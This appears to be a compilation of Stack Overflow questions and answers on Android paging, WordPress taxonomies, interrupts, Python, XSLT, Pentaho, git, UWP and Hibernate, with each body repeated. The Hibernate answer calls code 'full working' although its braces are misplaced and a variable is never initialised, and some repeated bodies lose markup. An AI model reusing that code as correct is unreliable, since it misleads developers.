I am trying to set up all my lists using new Android Architecture Components: Room Persistance Library and Paging Library. But I am facing the following problem. Imagine an app that has a lots of diferents lists of the same model. Each list has his own url request to server. Some elements can be repeated in diferent responses. So I think that I have to insert and update all elements of each response to a table of that model. Furthermore, each request has pages. For example, elements/famous/0, elements/famous/1. So, when page 1 response is received the list containing the elements of list 0 have to add the elements returned by page 1.

A Room request that returns a LivePagedListProvided is like this:

```<code>@Query("SELECT * FROM elements")
fun getElements(): LivePagedListProvider<Int, Model>
</code>```

When some element of the query changes, or an element added to the database affects de query, the LivePagedListProvider observables provide a change, so the UI changes automatically.

The question is: how should I save and retrieve elements that can be contained in differents lists depending on diferent requests using Paging Library?

答:
If you use only one table for local storage of your received data (from different requests to the server), so after each updating this table, all your DataSources will be invalidated, so thats why we see autoupdating. For different requests you can use different tables, but this is a not good)
I think you can write select query with some conditions, which represent difference between you requests to the server, if the result model same in those requests.

Body:
I am trying to set up all my lists using new Android Architecture Components: Room Persistance Library and Paging Library. But I am facing the following problem. Imagine an app that has a lots of diferents lists of the same model. Each list has his own url request to server. Some elements can be repeated in diferent responses. So I think that I have to insert and update all elements of each response to a table of that model. Furthermore, each request has pages. For example, elements/famous/0, elements/famous/1. So, when page 1 response is received the list containing the elements of list 0 have to add the elements returned by page 1.

A Room request that returns a LivePagedListProvided is like this:

@Query("SELECT * FROM elements")
fun getElements(): LivePagedListProvider<Int, Model>

When some element of the query changes, or an element added to the database affects de query, the LivePagedListProvider observables provide a change, so the UI changes automatically.

The question is: how should I save and retrieve elements that can be contained in differents lists depending on diferent requests using Paging Library?


问:
Multi-hierarchy categories are not showing third level hierarchy in wordpress taxonomy
I have 3 levels of categories, categories, sub categories and sub sub categories for custom post type. i am trying to show these categories in dropdown using cmb2, my code is only showing 2 levels of the categories and missing third level.

```<code>Category 1
 -- child category 1
 -- child category 2
    -- addon category 1
    -- addon category 2
 -- child category 3
 -- child category 4
    -- addon category 1
    -- addon category 2

Category 2
 -- child category 1
 -- child category 2
    -- addon category 1
    -- addon category 2
 -- child category 3
 -- child category 4
    -- addon category 1
    -- addon category 2
</code>```

and I am using cmb2 to get these categories in select2 with multiselect option.

and write down the following code:

```<code>function gp_get_cmb_options_array_tax( $taxonomy, $args = array() ) {

    if ( empty( $taxonomy ) ) { return; }

    $defaults = array(
        'hide_empty' => 0,
    );

    $args = wp_parse_args( $args, $defaults );
    $terms = get_terms( $taxonomy, $args );

    /**
     * https://developer.wordpress.org/reference/functions/_get_term_hierarchy/
     */
    $hierarchy = _get_term_hierarchy( $taxonomy );

    $term_list = array();
    foreach ( $terms as $term ) {

        if( $term->parent ) {
            continue;
        }

        $term_list[ $term->term_id ] = $term->name;

        if( isset( $hierarchy[ $term->term_id ] ) ) {

            foreach ( $hierarchy[ $term->term_id ] as $child ) {

                $child = get_term( $child, $taxonomy );
                $term_list[ $child->term_id ] = $term->name . ' > ' . $child->name;

            }

        }

    }

    return $term_list;

}
</code>```

and dropdown is showing like:

```<code>Category 1
Category 1 > child category 1
Category 1 > child category 2
Category 1 > child category 3
Category 1 > child category 4

Category 2
Category 2 > child category 1
Category 2 > child category 2
Category 2 > child category 3
Category 2 > child category 4
</code>```

Although it should show like

```<code>Category 1
Category 1 > child category 1
Category 1 > child category 2
Category 1 > child category 2 > addon category 1
Category 1 > child category 2 > addon category 2
Category 1 > child category 3
Category 1 > child category 4
</code>```

答:
You simply need to loop one level deeper:</p>

```<code>function gp_get_cmb_options_array_tax( $taxonomy, $args = array() ) {

    if ( empty( $taxonomy ) ) { return; }

    $defaults = array(
        'hide_empty' => 0,
    );

    $args = wp_parse_args( $args, $defaults );
    $terms = get_terms( $taxonomy, $args );

    /**
     * https://developer.wordpress.org/reference/functions/_get_term_hierarchy/
     */
    $hierarchy = _get_term_hierarchy( $taxonomy );

    $term_list = array();
    foreach ( $terms as $term ) {

        if( $term->parent ) {
            continue;
        }

        $term_list[ $term->term_id ] = $term->name;

        if( isset( $hierarchy[ $term->term_id ] ) ) {

            foreach ( $hierarchy[ $term->term_id ] as $child ) {

                $child = get_term( $child, $taxonomy );
                $term_list[ $child->term_id ] = $term->name . ' > ' . $child->name;

                if( !isset( $hierarchy[ $child->term_id ] ) )
                    continue;

                foreach ($hierarchy[ $child->term_id ] as $subchild) {

                    $subchild = get_term( $subchild, $taxonomy );
                    $term_list[ $subchild->term_id ] = $term->name . ' > ' . $child->name. ' > ' .$subchild->name;

                }

            }

        }

    }

    return $term_list;

}
</code>```

Body:
I have 3 levels of categories, categories, sub categories and sub sub categories for custom post type. i am trying to show these categories in dropdown using cmb2, my code is only showing 2 levels of the categories and missing third level.

Category 1
 -- child category 1
 -- child category 2
    -- addon category 1
    -- addon category 2
 -- child category 3
 -- child category 4
    -- addon category 1
    -- addon category 2

Category 2
 -- child category 1
 -- child category 2
    -- addon category 1
    -- addon category 2
 -- child category 3
 -- child category 4
    -- addon category 1
    -- addon category 2

and I am using cmb2 to get these categories in select2 with multiselect option.

and write down the following code:

function gp_get_cmb_options_array_tax( $taxonomy, $args = array() ) {

    if ( empty( $taxonomy ) ) { return; }

    $defaults = array(
        'hide_empty' => 0,
    );

    $args = wp_parse_args( $args, $defaults );
    $terms = get_terms( $taxonomy, $args );

    /**
     * https://developer.wordpress.org/reference/functions/_get_term_hierarchy/
     */
    $hierarchy = _get_term_hierarchy( $taxonomy );

    $term_list = array();
    foreach ( $terms as $term ) {

        if( $term->parent ) {
            continue;
        }

        $term_list[ $term->term_id ] = $term->name;

        if( isset( $hierarchy[ $term->term_id ] ) ) {

            foreach ( $hierarchy[ $term->term_id ] as $child ) {

                $child = get_term( $child, $taxonomy );
                $term_list[ $child->term_id ] = $term->name . ' > ' . $child->name;

            }

        }

    }

    return $term_list;

}

and dropdown is showing like:

Category 1
Category 1 > child category 1
Category 1 > child category 2
Category 1 > child category 3
Category 1 > child category 4

Category 2
Category 2 > child category 1
Category 2 > child category 2
Category 2 > child category 3
Category 2 > child category 4

Although it should show like

Category 1
Category 1 > child category 1
Category 1 > child category 2
Category 1 > child category 2 > addon category 1
Category 1 > child category 2 > addon category 2
Category 1 > child category 3
Category 1 > child category 4

Body:
You simply need to loop one level deeper:

function gp_get_cmb_options_array_tax( $taxonomy, $args = array() ) {

    if ( empty( $taxonomy ) ) { return; }

    $defaults = array(
        'hide_empty' => 0,
    );

    $args = wp_parse_args( $args, $defaults );
    $terms = get_terms( $taxonomy, $args );

    /**
     * https://developer.wordpress.org/reference/functions/_get_term_hierarchy/
     */
    $hierarchy = _get_term_hierarchy( $taxonomy );

    $term_list = array();
    foreach ( $terms as $term ) {

        if( $term->parent ) {
            continue;
        }

        $term_list[ $term->term_id ] = $term->name;

        if( isset( $hierarchy[ $term->term_id ] ) ) {

            foreach ( $hierarchy[ $term->term_id ] as $child ) {

                $child = get_term( $child, $taxonomy );
                $term_list[ $child->term_id ] = $term->name . ' > ' . $child->name;

                if( !isset( $hierarchy[ $child->term_id ] ) )
                    continue;

                foreach ($hierarchy[ $child->term_id ] as $subchild) {

                    $subchild = get_term( $subchild, $taxonomy );
                    $term_list[ $subchild->term_id ] = $term->name . ' > ' . $child->name. ' > ' .$subchild->name;

                }

            }

        }

    }

    return $term_list;

}


问:
Difference between Software and Hardware Interrupts
I have recently started working on ARM Cortex Microcontrollers. While reading different articles over Internet, I usually found 2 common terms as Software Interrupt and Hardware Interrupt.
What is the actual difference in both? Can you explain with an example?</p>

答:
I think you're trying to figure out what are software interrupts needed for and how to use them rather than the difference.

Let's start with what's common for software and hardware interrupt: they're both used to switch from main execution context to low-level interrupt handler in order to perform some low level operations - mainly on peripheral register.

The purpose of this switch for hardware interrupts is that the hardware wants to pass some data to the program (GPIO toggled, new chars on UART arrived, etc). It's easy to understand, since when you're writing your program, all you need to do is to implement the handlers - whenever HW needs your action, the handler is called.

The purpose of this switch for software interrupts is that the program wants to pass some data to the hardware. More specifically, it wants to access some resources which cannot be accessed from current context. It applies to a common design, where we don't want high level applications to mess with the hardware, e.g. write directly to flash or change USB control registers, so we block it from upper layers and delegate this task to the OS core (like linux kernel). The core receives requests via software interrupt from upper layers, performs some HW-related operations and returns responses.
Software interrupts are also be used to trigger OS maintenance tasks - e.g. context switch when currently executed task blocks on mutex.

It's harder to understand, since in contrary to HW interrupts the programmer must implement both - handlers and callers.

Of course my explanation is a big simplification, but I hope it should help you to understand the general idea. If you are not implementing you OS or very complex bare metal app, you probably don't need this at all. And you should rather avoid modifying software interrupts related code when using OS, since the system may rely on them.

Good luck!


问:
If statement is True but ELSE gets executed
This is a snippet from my script.

```<code>while True:

    ## Rules: userInput == [isalpha()=True, isdigit()=True, True, isdigit()=True]

    userInput = raw_input('# ').replace(' ', '').split(',')
    print userInput
    print 'List Index 0', userInput[0].isalpha()
    print 'List Index 1', userInput[1].isdigit()
    print 'List Index 3', userInput[3].isdigit()
    print 'List is', userInput[0].isalpha() and userInput[1].isdigit() and userInput[3].isdigit()

    if userInput[0].isalpha() and userInput[1].isdigit() and userInput[3].isdigit() == False:
        print 'Error'
        continue
    else:
        print 'Success'
        break
</code>```

And this is the output I get if I run it with input: 1,1,1,1

```<code># 1,1,1,1
['1', '1', '1', '1']
List Index 0 False
List Index 1 True
List Index 3 True
List is False
Success
</code>```

As far as I know the if statement is True and should be executed and return to the beginning of the loop until the rules are satisfied. However, the else statement gets executed instead.

What am I missing?

Thank you for your help.

答:
I think you may be assuming that if condition1 and condition2 == False is the same thing as if (condition1 and condition2) == False, when it's actually the same thing as if condition1 and (condition2 == False).

In which case you should be doing

```<code>if (userInput[0].isalpha() and userInput[1].isdigit() and userInput[3].isdigit()) == False:
</code>```

or

```<code>if not (userInput[0].isalpha() and userInput[1].isdigit() and userInput[3].isdigit()):
</code>```

or

```<code>if userInput[0].isalpha() and userInput[1].isdigit() and userInput[3].isdigit():
    print 'Success'
    break
else:
    print 'Error'
    continue
</code>```

Body:
This is a snippet from my script.

while True:

    ## Rules: userInput == [isalpha()=True, isdigit()=True, True, isdigit()=True]

    userInput = raw_input('# ').replace(' ', '').split(',')
    print userInput
    print 'List Index 0', userInput[0].isalpha()
    print 'List Index 1', userInput[1].isdigit()
    print 'List Index 3', userInput[3].isdigit()
    print 'List is', userInput[0].isalpha() and userInput[1].isdigit() and userInput[3].isdigit()

    if userInput[0].isalpha() and userInput[1].isdigit() and userInput[3].isdigit() == False:
        print 'Error'
        continue
    else:
        print 'Success'
        break

And this is the output I get if I run it with input: 1,1,1,1

# 1,1,1,1
['1', '1', '1', '1']
List Index 0 False
List Index 1 True
List Index 3 True
List is False
Success

As far as I know the if statement is True and should be executed and return to the beginning of the loop until the rules are satisfied. However, the else statement gets executed instead.

What am I missing?

Thank you for your help.

Body:
I think you may be assuming that if condition1 and condition2 == False is the same thing as if (condition1 and condition2) == False, when it's actually the same thing as if condition1 and (condition2 == False).

In which case you should be doing

if (userInput[0].isalpha() and userInput[1].isdigit() and userInput[3].isdigit()) == False:

or

if not (userInput[0].isalpha() and userInput[1].isdigit() and userInput[3].isdigit()):

or

if userInput[0].isalpha() and userInput[1].isdigit() and userInput[3].isdigit():
    print 'Success'
    break
else:
    print 'Error'
    continue


问:
XSLT - template application
In a XSLT stylesheet I have defined the following template:

```<code><xsl:template match="*[@xlink:type = 'simple' and @xlink:href]">
    <a href="{@xlink:href}">
        <xsl:apply-templates/>
    </a>
</xsl:template>
      <xsl:template match="//mets:mets/mets:fileSec/mets:fileGrp/mets:file/mets:FLocat">
    <a href="{@xlink:href}">
        <xsl:value-of select="@xlink:href"/>
    </a>
</xsl:template>
</code>```

In the XML-file the section "mets:mets/mets:fileSec/mets:fileGrp/mets:file/mets:FLocat" is nested within "mets:mets/mets:fileSec/mets:fileGrp/mets:file" and occurs several times.

When trying with only 2 sections of "mets:file" i use the following code to apply the template:

```<code><tr bgcolor="#ff0000">
  <td>Filename</td>
  <td><xsl:apply-templates select="//mets:mets/mets:fileSec/mets:fileGrp/mets:file/mets:FLocat" /></td>
</tr>
</code>```

This should render a HTML-presentation as follows:

```<code>Data on file 1
.
.
.
Filename    file:///location/of/file1
Data on file 2
.
.
.
Filename    file:///location/of/file2
</code>```

However what happens is this:

```<code>Data on file 1
.
.
.
Filename    file:///location/of/file1file:///location/of/file2
Data on file 2
.
.
.
Filename    file:///location/of/file1file:///location/of/file2
</code>```

What am I doing wrong here?

/Paul

答:
I found a solution. However I don't understand why?

The code above ....

```<code><tr bgcolor="#ff0000">
  <td>Filename</td>
  <td><xsl:apply-templates select="//mets:mets/mets:fileSec/mets:fileGrp/mets:file/mets:FLocat" /></td>
</tr>
</code>```

.... was changed to ....

```<code><tr bgcolor="#ff0000">
  <td>Filename</td>
  <td><xsl:apply-templates select="." /></td>
</tr>
</code>```

Then I got the desired output.

Could it be that the template gets all info it needs from this piece of code?

```<code><xsl:template match="*[@xlink:type = 'simple' and @xlink:href]">
  <a href="{@xlink:href}">
    <xsl:apply-templates/>
  </a>
</xsl:template>
</code>```

/Paul

Title: XSLT - template application

Body:
In a XSLT stylesheet I have defined the following template:

<xsl:template match="*[@xlink:type = 'simple' and @xlink:href]">

        <xsl:apply-templates/>

</xsl:template>
      <xsl:template match="//mets:mets/mets:fileSec/mets:fileGrp/mets:file/mets:FLocat">

        <xsl:value-of select="@xlink:href"/>

</xsl:template>

In the XML-file the section "mets:mets/mets:fileSec/mets:fileGrp/mets:file/mets:FLocat" is nested within "mets:mets/mets:fileSec/mets:fileGrp/mets:file" and occurs several times.

When trying with only 2 sections of "mets:file" i use the following code to apply the template:

  Filename
  <xsl:apply-templates select="//mets:mets/mets:fileSec/mets:fileGrp/mets:file/mets:FLocat" />

This should render a HTML-presentation as follows:

Data on file 1
.
.
.
Filename    file:///location/of/file1
Data on file 2
.
.
.
Filename    file:///location/of/file2

However what happens is this:

Data on file 1
.
.
.
Filename    file:///location/of/file1file:///location/of/file2
Data on file 2
.
.
.
Filename    file:///location/of/file1file:///location/of/file2

What am I doing wrong here?

/Paul

Body:
I found a solution. However I don't understand why?

The code above ....

<tr bgcolor="#ff0000">
  <td>Filename</td>
  <td><xsl:apply-templates select="//mets:mets/mets:fileSec/mets:fileGrp/mets:file/mets:FLocat" /></td>
</tr>

.... was changed to ....

<tr bgcolor="#ff0000">
  <td>Filename</td>
  <td><xsl:apply-templates select="." /></td>
</tr>

Then I got the desired output.

Could it be that the template gets all info it needs from this piece of code?

<xsl:template match="*[@xlink:type = 'simple' and @xlink:href]">
  <a href="{@xlink:href}">
    <xsl:apply-templates/>
  </a>
</xsl:template>

/Paul


问:
Pentaho report generation - white space in value (Springboot service)
I have created a springboot service for report generation using "Pentaho Reporting Engine Classic version 7.0.0.0-25.-1"

Issue:- different output compared to PRD.. On generation of HTML(other format) output

PRD's output

```<code><td valign="middle" class="style-7">ABC-1001-1700860</td>
</code>```

Related style is

```<code>.style-7 {
    color: black;
    font-size: 8pt;
    font-family: "Arial";
    font-weight: normal;
    font-style: normal;
    text-decoration: none;
    text-align: left;
    word-spacing: 0pt;
    letter-spacing: 0pt;
    white-space: pre-wrap;
    border-bottom: 1pt solid #ccccff;
    border-right: 1pt solid #ccccff
}
</code>```

From Service

```<code><td valign="middle" class="style-4">ABC-1001-1 700860</td>
</code>```

Related style

```<code>.style-4 {
    color: black;
    font-size: 8pt;
    font-family: "Arial";
    font-weight: normal;
    font-style: normal;
    text-decoration: none;
    text-align: left;
    word-spacing: 0pt;
    letter-spacing: 0pt;
    white-space: pre-wrap;
    border-bottom: 1pt solid #ccccff;
    border-right: 1pt solid #ccccff
}
</code>```

issue:-

CSS class name is different(but no difference, so ok..)

There is space in data.

Why space(ABC-1001-1 700860) is appearing? How to get exact output as PRD?

How to get latest pentaho(8 onwards) jars. as well?

答:
The Report designer let you define different format for HTML, File, PDF,...

I know it can be disturbing because you easily make a mistake = involuntary setup.

To tell you more, we need to know were ABC-1001-1(?)700860 comes from: direct input from database/csv or formula.

Pentaho V8 will not be published before December, and V7.1 is the last version. Watch SourceForge!

Body:
I have created a springboot service for report generation using "Pentaho Reporting Engine Classic version 7.0.0.0-25.-1"

Issue:- different output compared to PRD.. On generation of HTML(other format) output

PRD's output

ABC-1001-1700860

Related style is

.style-7 {
    color: black;
    font-size: 8pt;
    font-family: "Arial";
    font-weight: normal;
    font-style: normal;
    text-decoration: none;
    text-align: left;
    word-spacing: 0pt;
    letter-spacing: 0pt;
    white-space: pre-wrap;
    border-bottom: 1pt solid #ccccff;
    border-right: 1pt solid #ccccff
}

From Service

ABC-1001-1 700860

Related style

.style-4 {
    color: black;
    font-size: 8pt;
    font-family: "Arial";
    font-weight: normal;
    font-style: normal;
    text-decoration: none;
    text-align: left;
    word-spacing: 0pt;
    letter-spacing: 0pt;
    white-space: pre-wrap;
    border-bottom: 1pt solid #ccccff;
    border-right: 1pt solid #ccccff
}

issue:-

CSS class name is different(but no difference, so ok..)

There is space in data.

Why space(ABC-1001-1 700860) is appearing? How to get exact output as PRD?

How to get latest pentaho(8 onwards) jars. as well?


问:
Git - fatal: Unable to create '/path/my_project/.git/index.lock': File exists
I am still getting this error message, when I try to move my project tree on to git repo.

I checked the permissions of my directory with this project and these are set on 777. In terminal in the directory with my_project I set:

git init

and then if I try

git add .

or

git commit -m "first upload"

so I'll get the error

```<code>fatal: Unable to create '/path/my_proj/.git/index.lock': File exists.

If no other git process is currently running, this probably means a git process crashed in this repository earlier.
Make sure no other git process is running and remove the file manually to continue.
</code>```

I tried also create a new repo and there to commit it, but unfortunately still the same error message.

What is the cause of problem?

答:
DO NOT USE the Atom platformio-atom-ide-terminal Plugin to do this.
USE THE TERMINAL OF YOUR DISTRO DIRECTLY.

I kept getting this error while rebasing/squishing commits and didn't know why because I had done it before several times.

Didn't matter how many times I would delete the index.lock file, every time it would fail.

Turns out it was because I was using the ATOM EDITOR terminal plugin. Once I used the terminal that ships with Ubuntu it worked like a charm.

ContentLicense: CC BY-SA 4.0

Body:
I am still getting this error message, when I try to move my project tree on to git repo.

I checked the permissions of my directory with this project and these are set on 777. In terminal in the directory with my_project I set:

git init

and then if I try

git add .

or

git commit -m "first upload"

so I'll get the error

fatal: Unable to create '/path/my_proj/.git/index.lock': File exists.

If no other git process is currently running, this probably means a git process crashed in this repository earlier.
Make sure no other git process is running and remove the file manually to continue.

I tried also create a new repo and there to commit it, but unfortunately still the same error message.

What is the cause of problem?


问:
AppBarButton isEnabled=false but display button enabled
I have a command bar with two buttons, the first is enabled and visible, the second is disabled and not visible, at the click of the first, I view the second one.
When the second back is visible it is not possible to click, but it is visually enabled.

code:

```<code>      <CommandBar Background="Transparent" DefaultLabelPosition="Right" IsDynamicOverflowEnabled="True">
        <CommandBar.Content>
            <TextBlock Margin="10,0,0,0" Style="{StaticResource HeaderTextBlockStyle}"
                    FontSize="40"
                    Text="Command Bar"/>
        </CommandBar.Content>
        <CommandBar.PrimaryCommands>
            <AppBarButton  ToolTipService.ToolTip="Layout" Click="AppBarButton_Click" Style="{StaticResource AppBarButtonRevealStyle}" Label="Layout">
                <AppBarButton.Content>
                    <FontIcon FontFamily="Segoe MDL2 Assets" Glyph="" />
                </AppBarButton.Content>
            </AppBarButton>
            <AppBarButton x:Name="la1" IsEnabled="False" Visibility="Collapsed"  ToolTipService.ToolTip="Layout" Style="{StaticResource AppBarButtonRevealStyle}" Label="Layout">
                <AppBarButton.Content>
                    <FontIcon FontFamily="Segoe MDL2 Assets" Glyph="" />
                </AppBarButton.Content>
            </AppBarButton>
        </CommandBar.PrimaryCommands>
</code>```

```<code>private void AppBarButton_Click(object sender, RoutedEventArgs e)
    {
        la1.Visibility = Visibility.Visible;
    }
</code>```

this is a screenshot, both are visible, the first enabled and the second disabled, but the button display is both enabled.

I dont want enable it. The problem is the graphic of button, the button isn't enabled but the UI of button indicate the button enabled

答:
Okay as i understand you want this

```<code>private void AppBarButton_Click(object sender, RoutedEventArgs e)
{
    la1.Visibility = Visibility.Visible;
    if(la1.IsEnabled == false)
    {
        la1.Foreground = (SolidColorBrush)Application.Current.Resources["AppBarButtonForegroundDisabled"];
    }
}
</code>```

Alternately you can create your own style using Blend.

Body:
I have a command bar with two buttons, the first is enabled and visible, the second is disabled and not visible, at the click of the first, I view the second one.
When the second back is visible it is not possible to click, but it is visually enabled.

code:

      <CommandBar Background="Transparent" DefaultLabelPosition="Right" IsDynamicOverflowEnabled="True">
        <CommandBar.Content>
            <TextBlock Margin="10,0,0,0" Style="{StaticResource HeaderTextBlockStyle}"
                    FontSize="40"
                    Text="Command Bar"/>
        </CommandBar.Content>
        <CommandBar.PrimaryCommands>
            <AppBarButton  ToolTipService.ToolTip="Layout" Click="AppBarButton_Click" Style="{StaticResource AppBarButtonRevealStyle}" Label="Layout">
                <AppBarButton.Content>
                    <FontIcon FontFamily="Segoe MDL2 Assets" Glyph="" />
                </AppBarButton.Content>
            </AppBarButton>
            <AppBarButton x:Name="la1" IsEnabled="False" Visibility="Collapsed"  ToolTipService.ToolTip="Layout" Style="{StaticResource AppBarButtonRevealStyle}" Label="Layout">
                <AppBarButton.Content>
                    <FontIcon FontFamily="Segoe MDL2 Assets" Glyph="" />
                </AppBarButton.Content>
            </AppBarButton>
        </CommandBar.PrimaryCommands>

private void AppBarButton_Click(object sender, RoutedEventArgs e)
    {
        la1.Visibility = Visibility.Visible;
    }

this is a screenshot, both are visible, the first enabled and the second disabled, but the button display is both enabled.

I dont want enable it. The problem is the graphic of button, the button isn't enabled but the UI of button indicate the button enabled

Body:
Okay as i understand you want this

private void AppBarButton_Click(object sender, RoutedEventArgs e)
{
    la1.Visibility = Visibility.Visible;
    if(la1.IsEnabled == false)
    {
        la1.Foreground = (SolidColorBrush)Application.Current.Resources["AppBarButtonForegroundDisabled"];
    }
}

Alternately you can create your own style using Blend.


问:
Hibernate field naming issue with Spring Boot (naming strategy)
Note that this code does work with plain Spring but not with Spring Boot(v1.3.3), is there something i'm missing because this is imported from a spring app that works. The code below is from the spring boot app

```<code>@Entity
@Table(name="project")
public class Project implements Serializable{

    private static final long serialVersionUID = 1L;

    @Id
    @GeneratedValue(strategy=GenerationType.AUTO)
    @Column(name="id")
    private int id;

    @Column(name="teamId")
    private int teamId;

    //private String Rentabiliteit;

    @Column
    //@Index(name="IProject_status",columnNames="Status")
    private String status;

    @Column
    //@Index(name="IProject_naam",columnNames="Naam")
    private String naam;
    //public Prototype m_Prototype;
    //public Team m_Team;

}
</code>```

SQL

```<code>CREATE TABLE IF NOT EXISTS `project` (
`id` int(11) NOT NULL,
`teamId` int(11) DEFAULT NULL,
`status` varchar(255) DEFAULT NULL,
`naam` varchar(255) DEFAULT NULL
 ) ENGINE=InnoDB AUTO_INCREMENT=43 DEFAULT CHARSET=latin1;
</code>```

ERROR

```<code>Caused by: com.mysql.jdbc.exceptions.jdbc4.MySQLSyntaxErrorException:
 Unknown column 'project0_.team_id' in 'field list'
</code>```

Edited: Application.yml

```<code>spring:

mvc:
  view:
    prefix: /WEB-INF/jsp/
    suffix: .jsp

datasource:
    url: jdbc:mysql://localhost:3306/oxyplast
    username: oxyplastuser
    password: oxyplastuserpw

jpa:
  properties:
    hibernate:
      current_session_context_class: org.springframework.orm.hibernate4.SpringSessionContext
      namingStrategy: org.hibernate.cfg.DefaultNamingStrategy
</code>```

答:
with the late version :

```<code>    spring-boot-starter-data-jpa: ➡ 1.5.2.RELEASE
    hibernate-core:5.0.12.Final
</code>```

this class

```<code>PhysicalNamingStrategyStandardImpl
</code>```

needs to be extended and added to hibernate properties.

Here is a full working version

```<code>    public class PhysicalNamingStrategyImpl extends PhysicalNamingStrategyStandardImpl implements Serializable {

    public static final PhysicalNamingStrategyImpl INSTANCE = new PhysicalNamingStrategyImpl();

    @Override
    public Identifier toPhysicalTableName(Identifier name, JdbcEnvironment context) {
        String nameModified;
        // Do whatever you want with the name modification
        return new Identifier(nameModified, name.isQuoted());
    }

}

    @Override
    public Identifier toPhysicalColumnName(Identifier name, JdbcEnvironment context) {
         String nameModified;
        // Do whatever you want with the name modification
        return new Identifier(nameModified, name.isQuoted());
    }
</code>```

Linking it to hibernate should be done like this when configuring the datasource.

```<code>properties.put("hibernate.physical_naming_strategy", "my.Package.PhysicalNamingStrategyImpl");
</code>```

here is a full working version of datasource config

```<code>import org.springframework.beans.factory.annotation.Qualifier;
import org.springframework.beans.factory.annotation.Value;
import org.springframework.boot.autoconfigure.jdbc.DataSourceBuilder;
import org.springframework.boot.context.properties.ConfigurationProperties;
import org.springframework.boot.orm.jpa.EntityManagerFactoryBuilder;
import org.springframework.context.annotation.Bean;
import org.springframework.context.annotation.Configuration;
import org.springframework.context.annotation.Primary;
import org.springframework.data.jpa.repository.config.EnableJpaRepositories;
import org.springframework.orm.jpa.JpaTransactionManager;
import org.springframework.orm.jpa.LocalContainerEntityManagerFactoryBean;
import org.springframework.transaction.PlatformTransactionManager;
import org.springframework.transaction.annotation.EnableTransactionManagement;

import javax.persistence.EntityManagerFactory;
import javax.sql.DataSource;
import java.util.HashMap;
import java.util.Map;

@Configuration
@EnableTransactionManagement
@EnableJpaRepositories(
        entityManagerFactoryRef = "entityManagerFactory",
        basePackages = { "com.xxxxxx.repository" }
)
public class SharedDataSourceConfig {

    @Value("${startup.ddl-auto}")
    String hbm2ddl;

    @Primary
    @Bean(name = "dataSource")
    @ConfigurationProperties("spring.datasource.shared")
    public DataSource customerDataSource() {
        return DataSourceBuilder.create().build();
    }

    @Primary
    @Bean(name = "entityManagerFactory")
    public LocalContainerEntityManagerFactoryBean entityManagerFactory(
            EntityManagerFactoryBuilder builder,
            @Qualifier("dataSource") DataSource dataSource) {
        Map<String, Object> properties = new HashMap<String, Object>();
        properties.put("hibernate.hbm2ddl.auto", hbm2ddl);
        properties.put("hibernate.physical_naming_strategy", "my.package.PhysicalNamingStrategyImpl");
        return builder
                .dataSource(dataSource)
                .packages(PackageScannerHelper.getPackagesToScan())
                .persistenceUnit("shared")
                .properties(properties)
                .build();
    }

    @Primary
    @Bean(name = "transactionManager")
    public PlatformTransactionManager transactionManager(
            @Qualifier("entityManagerFactory") EntityManagerFactory
                    entityManagerFactory
    ) {
        return new JpaTransactionManager(entityManagerFactory);
    }
}
</code>```

Body:
Note that this code does work with plain Spring but not with Spring Boot(v1.3.3), is there something i'm missing because this is imported from a spring app that works. The code below is from the spring boot app

@Entity
@Table(name="project")
public class Project implements Serializable{

    private static final long serialVersionUID = 1L;

    @Id
    @GeneratedValue(strategy=GenerationType.AUTO)
    @Column(name="id")
    private int id;

    @Column(name="teamId")
    private int teamId;

    //private String Rentabiliteit;

    @Column
    //@Index(name="IProject_status",columnNames="Status")
    private String status;

    @Column
    //@Index(name="IProject_naam",columnNames="Naam")
    private String naam;
    //public Prototype m_Prototype;
    //public Team m_Team;

}

SQL

CREATE TABLE IF NOT EXISTS `project` (
`id` int(11) NOT NULL,
`teamId` int(11) DEFAULT NULL,
`status` varchar(255) DEFAULT NULL,
`naam` varchar(255) DEFAULT NULL
 ) ENGINE=InnoDB AUTO_INCREMENT=43 DEFAULT CHARSET=latin1;

ERROR

Caused by: com.mysql.jdbc.exceptions.jdbc4.MySQLSyntaxErrorException:
 Unknown column 'project0_.team_id' in 'field list'

Edited: Application.yml

spring:

mvc:
  view:
    prefix: /WEB-INF/jsp/
    suffix: .jsp

datasource:
    url: jdbc:mysql://localhost:3306/oxyplast
    username: oxyplastuser
    password: oxyplastuserpw

jpa:
  properties:
    hibernate:
      current_session_context_class: org.springframework.orm.hibernate4.SpringSessionContext
      namingStrategy: org.hibernate.cfg.DefaultNamingStrategy

Body:
with the late version :

    spring-boot-starter-data-jpa: ➡ 1.5.2.RELEASE
    hibernate-core:5.0.12.Final

this class

PhysicalNamingStrategyStandardImpl

needs to be extended and added to hibernate properties.

Here is a full working version

    public class PhysicalNamingStrategyImpl extends PhysicalNamingStrategyStandardImpl implements Serializable {

    public static final PhysicalNamingStrategyImpl INSTANCE = new PhysicalNamingStrategyImpl();

    @Override
    public Identifier toPhysicalTableName(Identifier name, JdbcEnvironment context) {
        String nameModified;
        // Do whatever you want with the name modification
        return new Identifier(nameModified, name.isQuoted());
    }

}

    @Override
    public Identifier toPhysicalColumnName(Identifier name, JdbcEnvironment context) {
         String nameModified;
        // Do whatever you want with the name modification
        return new Identifier(nameModified, name.isQuoted());
    }

Linking it to hibernate should be done like this when configuring the datasource.

properties.put("hibernate.physical_naming_strategy", "my.Package.PhysicalNamingStrategyImpl");

here is a full working version of datasource config

import org.springframework.beans.factory.annotation.Qualifier;
import org.springframework.beans.factory.annotation.Value;
import org.springframework.boot.autoconfigure.jdbc.DataSourceBuilder;
import org.springframework.boot.context.properties.ConfigurationProperties;
import org.springframework.boot.orm.jpa.EntityManagerFactoryBuilder;
import org.springframework.context.annotation.Bean;
import org.springframework.context.annotation.Configuration;
import org.springframework.context.annotation.Primary;
import org.springframework.data.jpa.repository.config.EnableJpaRepositories;
import org.springframework.orm.jpa.JpaTransactionManager;
import org.springframework.orm.jpa.LocalContainerEntityManagerFactoryBean;
import org.springframework.transaction.PlatformTransactionManager;
import org.springframework.transaction.annotation.EnableTransactionManagement;

import javax.persistence.EntityManagerFactory;
import javax.sql.DataSource;
import java.util.HashMap;
import java.util.Map;

@Configuration
@EnableTransactionManagement
@EnableJpaRepositories(
        entityManagerFactoryRef = "entityManagerFactory",
        basePackages = { "com.xxxxxx.repository" }
)
public class SharedDataSourceConfig {

    @Value("${startup.ddl-auto}")
    String hbm2ddl;

    @Primary
    @Bean(name = "dataSource")
    @ConfigurationProperties("spring.datasource.shared")
    public DataSource customerDataSource() {
        return DataSourceBuilder.create().build();
    }

    @Primary
    @Bean(name = "entityManagerFactory")
    public LocalContainerEntityManagerFactoryBean entityManagerFactory(
            EntityManagerFactoryBuilder builder,
